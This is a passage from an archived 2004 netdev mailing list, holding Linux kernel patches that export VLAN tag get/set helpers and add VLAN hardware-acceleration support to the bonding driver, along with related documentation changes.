vlan_dev_get_egress_qos_mask(dev, skb)); - dev_queue_xmit(skb); return 0; From shmulik.hen@intel.com Thu Jan 22 18:48:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 18:48:22 -0800 (PST) Received: from hermes.fm.intel.com (fmr01.intel.com [192.55.52.18]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0N2m67L022564 for ; Thu, 22 Jan 2004 18:48:08 -0800 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by hermes.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i0MFvJTI006305; Thu, 22 Jan 2004 15:57:19 GMT Received: from fmsmsxv041-1.fm.intel.com (fmsmsxvs041.fm.intel.com [132.233.42.126]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i0MG1VKx005022; Thu, 22 Jan 2004 16:01:31 GMT Received: from jrslxjul5.npdj.intel.com ([10.12.220.55]) by fmsmsxv041-1.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004012207595516006 ; Thu, 22 Jan 2004 07:59:56 -0800 From: Shmuel Hen Organization: Intel Corporation To: netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: [PATCH 2/6][8021q][2.6] Export VLAN tag get/set functionality Date: Thu, 22 Jan 2004 17:59:52 +0200 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401221759.54838.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2694 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Enable intermediate network drivers like bonding to get or set a VLAN tag in an skb without a need to know about how tagging is done according to a network adapter's capabilities. diff -Nuarp a/include/linux/if_vlan.h b/include/linux/if_vlan.h --- a/include/linux/if_vlan.h Wed Jan 21 16:56:09 2004 +++ b/include/linux/if_vlan.h Wed Jan 21 16:56:11 2004 @@ -200,6 +200,152 @@ static inline int vlan_hwaccel_receive_s { return __vlan_hwaccel_rx(skb, grp, vlan_tag, 1); } + +/** + * __vlan_put_tag - regular VLAN tag inserting + * @skb: skbuff to tag + * @tag: VLAN tag to insert + * + * Inserts the VLAN tag into @skb as part of the payload + * Returns a VLAN tagged skb. If a new skb is created, @skb is freed. + * + * Following the skb_unshare() example, in case of error, the calling function + * doesn't have to worry about freeing the original skb. + */ +static inline struct sk_buff *__vlan_put_tag(struct sk_buff *skb, unsigned short tag) +{ + struct vlan_ethhdr *veth; + + if (skb_headroom(skb) < VLAN_HLEN) { + struct sk_buff *sk_tmp = skb; + skb = skb_realloc_headroom(sk_tmp, VLAN_HLEN); + kfree_skb(sk_tmp); + if (!skb) { + printk(KERN_ERR "vlan: failed to realloc headroom\n"); + return NULL; + } + } else { + skb = skb_unshare(skb, GFP_ATOMIC); + if (!skb) { + printk(KERN_ERR "vlan: failed to unshare skbuff\n"); + return NULL; + } + } + + veth = (struct vlan_ethhdr *)skb_push(skb, VLAN_HLEN); + + /* Move the mac addresses to the beginning of the new header. */ + memmove(skb->data, skb->data + VLAN_HLEN, 2 * VLAN_ETH_ALEN); + + /* first, the ethernet type */ + veth->h_vlan_proto = __constant_htons(ETH_P_8021Q); + + /* now, the tag */ + veth->h_vlan_TCI = htons(tag); + + skb->protocol = __constant_htons(ETH_P_8021Q); + skb->mac.raw -= VLAN_HLEN; + skb->nh.raw -= VLAN_HLEN; + + return skb; +} + +/** + * __vlan_hwaccel_put_tag - hardware accelerated VLAN inserting + * @skb: skbuff to tag + * @tag: VLAN tag to insert + * + * Puts the VLAN tag in @skb->cb[] and lets the device do the rest + */ +static inline struct sk_buff *__vlan_hwaccel_put_tag(struct sk_buff *skb, unsigned short tag) +{ + struct vlan_skb_tx_cookie *cookie; + + cookie = VLAN_TX_SKB_CB(skb); + cookie->magic = VLAN_TX_COOKIE_MAGIC; + cookie->vlan_tag = tag; + + return skb; +} + +#define HAVE_VLAN_PUT_TAG + +/** + * vlan_put_tag - inserts VLAN tag according to device features + * @skb: skbuff to tag + * @tag: VLAN tag to insert + * + * Assumes skb->dev is the target that will xmit this frame. + * Returns a VLAN tagged skb. + */ +static inline struct sk_buff *vlan_put_tag(struct sk_buff *skb, unsigned short tag) +{ + if (skb->dev->features & NETIF_F_HW_VLAN_TX) { + return __vlan_hwaccel_put_tag(skb, tag); + } else { + return __vlan_put_tag(skb, tag); + } +} + +/** + * __vlan_get_tag - get the VLAN ID that is part of the payload + * @skb: skbuff to query + * @tag: buffer to store vlaue + * + * Returns error if the skb is not of VLAN type + */ +static inline int __vlan_get_tag(struct sk_buff *skb, unsigned short *tag) +{ + struct vlan_ethhdr *veth = (struct vlan_ethhdr *)skb->data; + + if (veth->h_vlan_proto != __constant_htons(ETH_P_8021Q)) { + return -EINVAL; + } + + *tag = ntohs(veth->h_vlan_TCI); + + return 0; +} + +/** + * __vlan_hwaccel_get_tag - get the VLAN ID that is in @skb->cb[] + * @skb: skbuff to query + * @tag: buffer to store vlaue + * + * Returns error if @skb->cb[] is not set correctly + */ +static inline int __vlan_hwaccel_get_tag(struct sk_buff *skb, unsigned short *tag) +{ + struct vlan_skb_tx_cookie *cookie; + + cookie = VLAN_TX_SKB_CB(skb); + if (cookie->magic == VLAN_TX_COOKIE_MAGIC) { + *tag = cookie->vlan_tag; + return 0; + } else { + *tag = 0; + return -EINVAL; + } +} + +#define HAVE_VLAN_GET_TAG + +/** + * vlan_get_tag - get the VLAN ID from the skb + * @skb: skbuff to query + * @tag: buffer to store vlaue + * + * Returns error if the skb is not VLAN tagged + */ +static inline int vlan_get_tag(struct sk_buff *skb, unsigned short *tag) +{ + if (skb->dev->features & NETIF_F_HW_VLAN_TX) { + return __vlan_hwaccel_get_tag(skb, tag); + } else { + return __vlan_get_tag(skb, tag); + } +} + #endif /* __KERNEL__ */ /* VLAN IOCTLs are found in sockios.h */ From shmulik.hen@intel.com Thu Jan 22 18:48:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 18:48:23 -0800 (PST) Received: from hermes.fm.intel.com (fmr01.intel.com [192.55.52.18]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0N2m67J022564 for ; Thu, 22 Jan 2004 18:48:07 -0800 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by hermes.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i0MFw6TI006704; Thu, 22 Jan 2004 15:58:07 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxvs040.fm.intel.com [132.233.42.124]) by talaria.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i0MG0EX8017185; Thu, 22 Jan 2004 16:00:15 GMT Received: from jrslxjul5.npdj.intel.com ([10.12.220.55]) by fmsmsxvs040.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004012208004220386 ; Thu, 22 Jan 2004 08:00:43 -0800 From: Shmuel Hen Organization: Intel Corporation To: netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: [PATCH 4/6][bonding][2.6] Add support for HW accel. slaves Date: Thu, 22 Jan 2004 18:00:37 +0200 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401221800.42056.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2696 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Change the bond interface to publish full VLAN hardware acceleration offloading capabilities, and add capability in all xmit functions to take special care for VLAN HW accel. tagged skb's that are going out through a slave that is not offloading capable. Add a mechanism to collect and save the VLAN Id's that have been added on top of a bond interface, and propagate the register/add/kill operations to the slaves. Add blocking mechanism to prevent adding VLAN interfaces on top of a bond that contains VLAN challenged slaves and to prevent adding VLAN challenged slaves to a bond that already has VLAN interfaces on top of it. diff -Nuarp a/Documentation/networking/bonding.txt b/Documentation/networking/bonding.txt --- a/Documentation/networking/bonding.txt Wed Jan 21 16:56:18 2004 +++ b/Documentation/networking/bonding.txt Wed Jan 21 16:56:19 2004 @@ -31,6 +31,7 @@ Verifying Bond Configuration Frequently Asked Questions High Availability Promiscuous Sniffing notes +8021q VLAN support Limitations Resources and Links @@ -140,10 +141,6 @@ probeall bond0 eth0 eth1 bonding Be careful not to reference bond0 itself at the end of the line, or modprobe will die in an endless recursive loop. -To have device characteristics (such as MTU size) propagate to slave devices, -set the bond characteristics before enslaving the device. The characteristics -are propagated during the enslave process. - If running SNMP agents, the bonding driver should be loaded before any network drivers participating in a bond. This requirement is due to the the interface index (ipAdEntIfIndex) being associated to the first interface found with a @@ -601,7 +598,7 @@ Frequently Asked Questions For ethernet cards not supporting MII status, the arp_interval and arp_ip_target parameters must be specified for bonding to work correctly. If packets have not been sent or received during the - specified arp_interval durration, an ARP request is sent to the + specified arp_interval duration, an ARP request is sent to the targets to generate send and receive traffic. If after this interval, either the successful send and/or receive count has not incremented, the next slave in the sequence will become the active @@ -669,16 +666,8 @@ Frequently Asked Questions that will be added. To restore your slaves' MAC addresses, you need to detach them - from the bond (`ifenslave -d bond0 eth0'), set them down - (`ifconfig eth0 down'), unload the drivers (`rmmod 3c59x', for - example) and reload them to get the MAC addresses from their - eeproms. If the driver is shared by several devices, you need - to turn them all down. Another solution is to look for the MAC - address at boot time (dmesg or tail /var/log/messages) and to - reset it by hand with ifconfig : - - # ifconfig eth0 down - # ifconfig eth0 hw ether 00:20:40:60:80:A0 + from the bond (`ifenslave -d bond0 eth0'). The bonding driver will then + restore the MAC addresses that the slaves had before they were enslaved. 9. Which transmit polices can be used? @@ -843,7 +832,7 @@ point of failure" solution. In this configuration, there is an ISL - Inter Switch Link (could be a trunk), several servers (host1, host2 ...) attached to both switches each, and one or -more ports to the outside world (port3...). One an only one slave on each host +more ports to the outside world (port3...). One and only one slave on each host is active at a time, while all links are still monitored (the system can detect a failure of active and backup links). @@ -933,6 +922,41 @@ capacity aggregating; but it works fine just ignore all the warnings it emits. +8021q VLAN support +================== + +It is possible to configure VLAN devices over a bond interface using the 8021q +driver. However, only packets coming from the 8021q driver and passing through +bonding will be tagged by default. Self generated packets, like bonding's +learning packets or ARP packets generated by either ALB mode or the ARP +monitor mechanism, are tagged internally by bonding itself. As a result, +bonding has to "learn" what VLAN IDs are configured on top of it, and it uses +those IDs to tag self generated packets. + +For simplicity reasons, and to support the use of adapters that can do VLAN +hardware acceleration offloding, the bonding interface declares itself as +fully hardware offloaing capable, it gets the add_vid/kill_vid notifications +to gather the necessary information, and it propagates those actions to the +slaves. +In case of mixed adapter types, hardware accelerated tagged packets that should +go through an adapter that is not offloading capable are "un-accelerated" by the +bonding driver so the VLAN tag sits in the regular location. + +VLAN interfaces *must* be added on top of a bonding interface only after +enslaving at least one slave. This is because until the first slave is added the +bonding interface has a HW address of 00:00:00:00:00:00, which will be copied by +the VLAN interface when it is created. + +Notice that a problem would occur if all slaves are released from a bond that +still has VLAN interfaces on top of it. When later coming to add new slaves, the +bonding interface would get a HW address from the first slave, which might not +match that of the VLAN interfaces. It is recommended that either all VLANs are +removed and then re-added, or to manually set the bonding interface's HW +address so it matches the VLAN's. (Note: changing a VLAN interface's HW address +would set the underlying device -- i.e. the bonding interface -- to promiscouos +mode, which might not be what you want). + + Limitations =========== The main limitations are : diff -Nuarp a/drivers/net/bonding/bond_3ad.c b/drivers/net/bonding/bond_3ad.c --- a/drivers/net/bonding/bond_3ad.c Wed Jan 21 16:56:18 2004 +++ b/drivers/net/bonding/bond_3ad.c Wed Jan 21 16:56:19 2004 @@ -2362,6 +2362,7 @@ int bond_3ad_xmit_xor(struct sk_buff *sk int agg_id; int i; struct ad_info ad_info; + int res = 1; /* make sure that the slaves list will * not change during tx @@ -2369,12 +2370,12 @@ int bond_3ad_xmit_xor(struct sk_buff *sk read_lock(&bond->lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } if (bond_3ad_get_active_agg_info(bond, &ad_info)) { printk(KERN_DEBUG "ERROR: bond_3ad_get_active_agg_info failed\n"); - goto free_out; + goto out; } slaves_in_agg = ad_info.ports; @@ -2383,7 +2384,7 @@ int bond_3ad_xmit_xor(struct sk_buff *sk if (slaves_in_agg == 0) { /*the aggregator is empty*/ printk(KERN_DEBUG "ERROR: active aggregator is empty\n"); - goto free_out; + goto out; } slave_agg_no = (data->h_dest[5]^bond->dev->dev_addr[5]) % slaves_in_agg; @@ -2401,7 +2402,7 @@ int bond_3ad_xmit_xor(struct sk_buff *sk if (slave_agg_no >= 0) { printk(KERN_ERR DRV_NAME ": Error: Couldn't find a slave to tx on for aggregator ID %d\n", agg_id); - goto free_out; + goto out; } start_at = slave; @@ -2414,24 +2415,19 @@ int bond_3ad_xmit_xor(struct sk_buff *sk slave_agg_id = agg->aggregator_identifier; } - if (SLAVE_IS_OK(slave) && - agg && (slave_agg_id == agg_id)) { - skb->dev = slave->dev; - skb->priority = 1; - dev_queue_xmit(skb); - - goto out; + if (SLAVE_IS_OK(slave) && agg && (slave_agg_id == agg_id)) { + res = bond_dev_queue_xmit(bond, skb, slave->dev); + break; } } out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } read_unlock(&bond->lock); return 0; - -free_out: - /* no suitable interface, frame not sent */ - dev_kfree_skb(skb); - goto out; } int bond_3ad_lacpdu_recv(struct sk_buff *skb, struct net_device *dev, struct packet_type* ptype) diff -Nuarp a/drivers/net/bonding/bond_alb.c b/drivers/net/bonding/bond_alb.c --- a/drivers/net/bonding/bond_alb.c Wed Jan 21 16:56:18 2004 +++ b/drivers/net/bonding/bond_alb.c Wed Jan 21 16:56:19 2004 @@ -1193,6 +1193,7 @@ int bond_alb_xmit(struct sk_buff *skb, s int do_tx_balance = 1; u32 hash_index = 0; u8 *hash_start = NULL; + int res = 1; /* make sure that the curr_active_slave and the slaves list do * not change during tx @@ -1201,7 +1202,7 @@ int bond_alb_xmit(struct sk_buff *skb, s read_lock(&bond->curr_slave_lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } switch (ntohs(skb->protocol)) { @@ -1266,29 +1267,27 @@ int bond_alb_xmit(struct sk_buff *skb, s } if (tx_slave && SLAVE_IS_OK(tx_slave)) { - skb->dev = tx_slave->dev; if (tx_slave != bond->curr_active_slave) { memcpy(eth_data->h_source, tx_slave->dev->dev_addr, ETH_ALEN); } - dev_queue_xmit(skb); + + res = bond_dev_queue_xmit(bond, skb, tx_slave->dev); } else { - /* no suitable interface, frame not sent */ if (tx_slave) { tlb_clear_slave(bond, tx_slave, 0); } - goto free_out; } out: + if (res) { + /* no suitable interface, frame not sent */ + dev_kfree_skb(skb); + } read_unlock(&bond->curr_slave_lock); read_unlock(&bond->lock); return 0; - -free_out: - dev_kfree_skb(skb); - goto out; } void bond_alb_monitor(struct bonding *bond) diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Wed Jan 21 16:56:18 2004 +++ b/drivers/net/bonding/bond_main.c Wed Jan 21 16:56:19 2004 @@ -502,6 +502,7 @@ #include #include #include +#include #include #include "bonding.h" #include "bond_3ad.h" @@ -620,6 +621,330 @@ static const char *bond_mode_name(int mo } } +/*---------------------------------- VLAN -----------------------------------*/ + +/** + * bond_add_vlan - add a new vlan id on bond + * @bond: bond that got the notification + * @vlan_id: the vlan id to add + * + * Returns -ENOMEM if allocation failed. + */ +static int bond_add_vlan(struct bonding *bond, unsigned short vlan_id) +{ + struct vlan_entry *vlan; + + dprintk("bond: %s, vlan id %d\n", + (bond ? bond->dev->name: "None"), vlan_id); + + vlan = kmalloc(sizeof(struct vlan_entry), GFP_KERNEL); + if (!vlan) { + return -ENOMEM; + } + + INIT_LIST_HEAD(&vlan->vlan_list); + vlan->vlan_id = vlan_id; + + write_lock_bh(&bond->lock); + + list_add_tail(&vlan->vlan_list, &bond->vlan_list); + + write_unlock_bh(&bond->lock); + + dprintk("added VLAN ID %d on bond %s\n", vlan_id, bond->dev->name); + + return 0; +} + +/** + * bond_del_vlan - delete a vlan id from bond + * @bond: bond that got the notification + * @vlan_id: the vlan id to delete + * + * returns -ENODEV if @vlan_id was not found in @bond. + */ +static int bond_del_vlan(struct bonding *bond, unsigned short vlan_id) +{ + struct vlan_entry *vlan, *next; + int res = -ENODEV; + + dprintk("bond: %s, vlan id %d\n", bond->dev->name, vlan_id); + + write_lock_bh(&bond->lock); + + list_for_each_entry_safe(vlan, next, &bond->vlan_list, vlan_list) { + if (vlan->vlan_id == vlan_id) { + list_del(&vlan->vlan_list); + + dprintk("removed VLAN ID %d from bond %s\n", vlan_id, + bond->dev->name); + + kfree(vlan); + + if (list_empty(&bond->vlan_list) && + (bond->slave_cnt == 0)) { + /* Last VLAN removed and no slaves, so + * restore block on adding VLANs. This will + * be removed once new slaves that are not + * VLAN challenged will be added. + */ + bond->dev->features |= NETIF_F_VLAN_CHALLENGED; + } + + res = 0; + goto out; + } + } + + dprintk("couldn't find VLAN ID %d in bond %s\n", vlan_id, + bond->dev->name); + +out: + write_unlock_bh(&bond->lock); + return res; +} + +/** + * bond_has_challenged_slaves + * @bond: the bond we're working on + * + * Searches the slave list. Returns 1 if a vlan challenged slave + * was found, 0 otherwise. + * + * Assumes bond->lock is held. + */ +static int bond_has_challenged_slaves(struct bonding *bond) +{ + struct slave *slave; + int i; + + bond_for_each_slave(bond, slave, i) { + if (slave->dev->features & NETIF_F_VLAN_CHALLENGED) { + dprintk("found VLAN challenged slave - %s\n", + slave->dev->name); + return 1; + } + } + + dprintk("no VLAN challenged slaves found\n"); + return 0; +} + +/** + * bond_dev_queue_xmit - Prepare skb for xmit. + * + * @bond: bond device that got this skb for tx. + * @skb: hw accel VLAN tagged skb to transmit + * @slave_dev: slave that is supposed to xmit this skbuff + * + * When the bond gets an skb to tarnsmit that is + * already hardware accelerated VLAN tagged, and it + * needs to relay this skb to a slave that is not + * hw accel capable, the skb needs to be "unaccelerated", + * i.e. strip the hwaccel tag and re-insert it as part + * of the payload. + * + * Assumption - once a VLAN device is created over the bond device, all + * packets are going to be hardware accelerated VLAN tagged since the IP + * binding is done over the VLAN device + */ +int bond_dev_queue_xmit(struct bonding *bond, struct sk_buff *skb, struct net_device *slave_dev) +{ + unsigned short vlan_id; + int res; + + if (!list_empty(&bond->vlan_list) && + !(slave_dev->features & NETIF_F_HW_VLAN_TX)) { + res = vlan_get_tag(skb, &vlan_id); + if (res) { + return -EINVAL; + } + + skb->dev = slave_dev; + skb = vlan_put_tag(skb, vlan_id); + if (!skb) { + /* vlan_put_tag() frees the skb in case of error, + * so return success here so the calling functions + * won't attempt to free is again. + */ + return 0; + } + } else { + skb->dev = slave_dev; + } + + skb->priority = 1; + dev_queue_xmit(skb); + + return 0; +} + +/* + * In the following 3 functions, bond_vlan_rx_register(), bond_vlan_rx_add_vid + * and bond_vlan_rx_kill_vid, We don't protect the slave list iteration with a + * lock because: + * a. This operation is performed in IOCTL context, + * b. The operation is protected by the RTNL semaphore in the 8021q code, + * c. Holding a lock with BH disabled while directly calling a base driver + * entry point is generally a BAD idea. + * + * The design of synchronization/protection for this operation in the 8021q + * module is good for one or more VLAN devices over a single physical device + * and cannot be extended for a teaming solution like bonding, so there is a + * potential race condition here where a net device from the vlan group might + * be referenced (either by a base driver or the 8021q code) while it is being + * removed from the system. However, it turns out we're not making matters + * worse, and if it works for regular VLAN usage it will work here too. +*/ + +/** + * bond_vlan_rx_register - Propagates registration to slaves + * @bond_dev: bonding net device that got called + * @grp: vlan group being registered + */ +static void bond_vlan_rx_register(struct net_device *bond_dev, struct vlan_group *grp) +{ + struct bonding *bond = bond_dev->priv; + struct slave *slave; + int i; + + bond->vlgrp = grp; + + bond_for_each_slave(bond, slave, i) { + struct net_device *slave_dev = slave->dev; + + if ((slave_dev->features & NETIF_F_HW_VLAN_RX) && + slave_dev->vlan_rx_register) { + slave_dev->vlan_rx_register(slave_dev, grp); + } + } +} + +/** + * bond_vlan_rx_add_vid - Propagates adding an id to slaves + * @bond_dev: bonding net device that got called + * @vid: vlan id being added + */ +static void bond_vlan_rx_add_vid(struct net_device *bond_dev, uint16_t vid) +{ + struct bonding *bond = bond_dev->priv; + struct slave *slave; + int i, res; + + bond_for_each_slave(bond, slave, i) { + struct net_device *slave_dev = slave->dev; + + if ((slave_dev->features & NETIF_F_HW_VLAN_FILTER) && + slave_dev->vlan_rx_add_vid) { + slave_dev->vlan_rx_add_vid(slave_dev, vid); + } + } + + res = bond_add_vlan(bond, vid); + if (res) { + printk(KERN_ERR DRV_NAME + ": %s: Failed to add vlan id %d\n", + bond_dev->name, vid); + } +} + +/** + * bond_vlan_rx_kill_vid - Propagates deleting an id to slaves + * @bond_dev: bonding net device that got called + * @vid: vlan id being removed + */ +static void bond_vlan_rx_kill_vid(struct net_device *bond_dev, uint16_t vid) +{ + struct bonding *bond = bond_dev->priv; + struct slave *slave; + struct net_device *vlan_dev; + int i, res; + + bond_for_each_slave(bond, slave, i) { + struct net_device *slave_dev = slave->dev; + + if ((slave_dev->features & NETIF_F_HW_VLAN_FILTER) && + slave_dev->vlan_rx_kill_vid) { + /* Save and then restore vlan_dev in the grp array, + * since the slave's driver might clear it. + */ + vlan_dev = bond->vlgrp->vlan_devices[vid]; + slave_dev->vlan_rx_kill_vid(slave_dev, vid); + bond->vlgrp->vlan_devices[vid] = vlan_dev; + } + } + + res = bond_del_vlan(bond, vid); + if (res) { + printk(KERN_ERR DRV_NAME + ": %s: Failed to remove vlan id %d\n", + bond_dev->name, vid); + } +} + +static void bond_add_vlans_on_slave(struct bonding *bond, struct net_device *slave_dev) +{ + struct vlan_entry *vlan; + + write_lock_bh(&bond->lock); + + if (list_empty(&bond->vlan_list)) { + goto out; + } + + if ((slave_dev->features & NETIF_F_HW_VLAN_RX) && + slave_dev->vlan_rx_register) { + slave_dev->vlan_rx_register(slave_dev, bond->vlgrp); + } + + if (!(slave_dev->features & NETIF_F_HW_VLAN_FILTER) || + !(slave_dev->vlan_rx_add_vid)) { + goto out; + } + + list_for_each_entry(vlan, &bond->vlan_list, vlan_list) { + slave_dev->vlan_rx_add_vid(slave_dev, vlan->vlan_id); + } + +out: + write_unlock_bh(&bond->lock); +} + +static void bond_del_vlans_from_slave(struct bonding *bond, struct net_device *slave_dev) +{ + struct vlan_entry *vlan; + struct net_device *vlan_dev; + + write_lock_bh(&bond->lock); + + if (list_empty(&bond->vlan_list)) { + goto out; + } + + if (!(slave_dev->features & NETIF_F_HW_VLAN_FILTER) || + !(slave_dev->vlan_rx_kill_vid)) { + goto unreg; + } + + list_for_each_entry(vlan, &bond->vlan_list, vlan_list) { + /* Save and then restore vlan_dev in the grp array, + * since the slave's driver might clear it. + */ + vlan_dev = bond->vlgrp->vlan_devices[vlan->vlan_id]; + slave_dev->vlan_rx_kill_vid(slave_dev, vlan->vlan_id); + bond->vlgrp->vlan_devices[vlan->vlan_id] = vlan_dev; + } + +unreg: + if ((slave_dev->features & NETIF_F_HW_VLAN_RX) && + slave_dev->vlan_rx_register) { + slave_dev->vlan_rx_register(slave_dev, NULL); + } + +out: + write_unlock_bh(&bond->lock); +} + /*------------------------------- Link status -------------------------------*/ /* @@ -1214,6 +1539,7 @@ static int bond_enslave(struct net_devic struct dev_mc_list *dmi; struct sockaddr addr; int link_reporting; + int old_features = bond_dev->features; int res = 0; if (slave_dev->do_ioctl == NULL) { @@ -1234,6 +1560,36 @@ static int bond_enslave(struct net_devic return -EBUSY; } + /* vlan challenged mutual exclusion */ + /* no need to lock since we're protected by rtnl_lock */ + if (slave_dev->features & NETIF_F_VLAN_CHALLENGED) { + dprintk("%s: NETIF_F_VLAN_CHALLENGED\n", slave_dev->name); + if (!list_empty(&bond->vlan_list)) { + printk(KERN_ERR DRV_NAME + ": Error: cannot enslave VLAN " + "challenged slave %s on VLAN enabled " + "bond %s\n", slave_dev->name, + bond_dev->name); + return -EPERM; + } else { + printk(KERN_WARNING DRV_NAME + ": Warning: enslaved VLAN challenged " + "slave %s. Adding VLANs will be blocked as " + "long as %s is part of bond %s\n", + slave_dev->name, slave_dev->name, + bond_dev->name); + bond_dev->features |= NETIF_F_VLAN_CHALLENGED; + } + } else { + dprintk("%s: ! NETIF_F_VLAN_CHALLENGED\n", slave_dev->name); + if (bond->slave_cnt == 0) { + /* First slave, and it is not VLAN challenged, + * so remove the block of adding VLANs over the bond. + */ + bond_dev->features &= ~NETIF_F_VLAN_CHALLENGED; + } + } + if (app_abi_ver >= 1) { /* The application is using an ABI, which requires the * slave interface to be closed. @@ -1242,7 +1598,8 @@ static int bond_enslave(struct net_devic printk(KERN_ERR DRV_NAME ": Error: %s is up\n", slave_dev->name); - return -EPERM; + res = -EPERM; + goto err_undo_flags; } if (slave_dev->set_mac_address == NULL) { @@ -1253,7 +1610,8 @@ static int bond_enslave(struct net_devic "Your kernel likely does not support slave " "devices.\n"); - return -EOPNOTSUPP; + res = -EOPNOTSUPP; + goto err_undo_flags; } } else { /* The application is not using an ABI, which requires the @@ -1263,7 +1621,8 @@ static int bond_enslave(struct net_devic printk(KERN_ERR DRV_NAME ": Error: %s is not running\n", slave_dev->name); - return -EINVAL; + res = -EINVAL; + goto err_undo_flags; } if ((bond->params.mode == BOND_MODE_8023AD) || @@ -1273,13 +1632,15 @@ static int bond_enslave(struct net_devic ": Error: to use %s mode, you must upgrade " "ifenslave.\n", bond_mode_name(bond->params.mode)); - return -EOPNOTSUPP; + res = -EOPNOTSUPP; + goto err_undo_flags; } } new_slave = kmalloc(sizeof(struct slave), GFP_KERNEL); if (!new_slave) { - return -ENOMEM; + res = -ENOMEM; + goto err_undo_flags; } memset(new_slave, 0, sizeof(struct slave)); @@ -1368,6 +1729,8 @@ static int bond_enslave(struct net_devic dev_mc_add(slave_dev, lacpdu_multicast, ETH_ALEN, 0); } + bond_add_vlans_on_slave(bond, slave_dev); + write_lock_bh(&bond->lock); bond_attach_slave(bond, new_slave); @@ -1576,6 +1939,10 @@ err_restore_mac: err_free: kfree(new_slave); + +err_undo_flags: + bond_dev->features = old_features; + return res; } @@ -1689,8 +2056,37 @@ static int bond_release(struct net_devic } } + if (bond->slave_cnt == 0) { + /* if the last slave was removed, zero the mac address + * of the master so it will be set by the application + * to the mac address of the first slave + */ + memset(bond_dev->dev_addr, 0, bond_dev->addr_len); + + if (list_empty(&bond->vlan_list)) { + bond_dev->features |= NETIF_F_VLAN_CHALLENGED; + } else { + printk(KERN_WARNING DRV_NAME + ": Warning: clearing HW address of %s while it " + "still has VLANs.\n", + bond_dev->name); + printk(KERN_WARNING DRV_NAME + ": When re-adding slaves, make sure the bond's " + "HW address matches its VLANs'.\n"); + } + } else if ((bond_dev->features & NETIF_F_VLAN_CHALLENGED) && + !bond_has_challenged_slaves(bond)) { + printk(KERN_INFO DRV_NAME + ": last VLAN challenged slave %s " + "left bond %s. VLAN blocking is removed\n", + slave_dev->name, bond_dev->name); + bond_dev->features &= ~NETIF_F_VLAN_CHALLENGED; + } + write_unlock_bh(&bond->lock); + bond_del_vlans_from_slave(bond, slave_dev); + /* If the mode USES_PRIMARY, then we should only remove its * promisc and mc settings if it was the curr_active_slave, but that was * already taken care of above when we detached the slave @@ -1732,14 +2128,6 @@ static int bond_release(struct net_devic kfree(slave); - /* if the last slave was removed, zero the mac address - * of the master so it will be set by the application - * to the mac address of the first slave - */ - if (bond->slave_cnt == 0) { - memset(bond_dev->dev_addr, 0, bond_dev->addr_len); - } - return 0; /* deletion OK */ } @@ -1788,6 +2176,8 @@ static int bond_release_all(struct net_d */ write_unlock_bh(&bond->lock); + bond_del_vlans_from_slave(bond, slave_dev); + /* If the mode USES_PRIMARY, then we should only remove its * promisc and mc settings if it was the curr_active_slave, but that was * already taken care of above when we detached the slave @@ -1838,6 +2228,18 @@ static int bond_release_all(struct net_d */ memset(bond_dev->dev_addr, 0, bond_dev->addr_len); + if (list_empty(&bond->vlan_list)) { + bond_dev->features |= NETIF_F_VLAN_CHALLENGED; + } else { + printk(KERN_WARNING DRV_NAME + ": Warning: clearing HW address of %s while it " + "still has VLANs.\n", + bond_dev->name); + printk(KERN_WARNING DRV_NAME + ": When re-adding slaves, make sure the bond's " + "HW address matches its VLANs'.\n"); + } + printk(KERN_INFO DRV_NAME ": %s: released all slaves\n", bond_dev->name); @@ -3569,11 +3971,12 @@ static int bond_xmit_roundrobin(struct s struct bonding *bond = bond_dev->priv; struct slave *slave, *start_at; int i; + int res = 1; read_lock(&bond->lock); if (!BOND_IS_OK(bond)) { - goto free_out; + goto out; } read_lock(&bond->curr_slave_lock); @@ -3581,33 +3984,31 @@ static int bond_xmit_roundrobin(struct s read_unlock(&bond->curr_slave_lock); if (!slave) { - goto free_out; + goto out; } bond_for_each_slave_from(bond, slave, i, start_at) { if (IS_UP(slave->dev) && (slave->link == BOND_LINK_UP) && (slave->state == BOND_STATE_ACTIVE)) { - skb->dev = slave->dev; - skb->priority = 1; - dev_queue_xmit(skb); + res = bond_dev_queue_xmit(bond, skb, slave->dev); write_lock(&bond->curr_slave_lock); 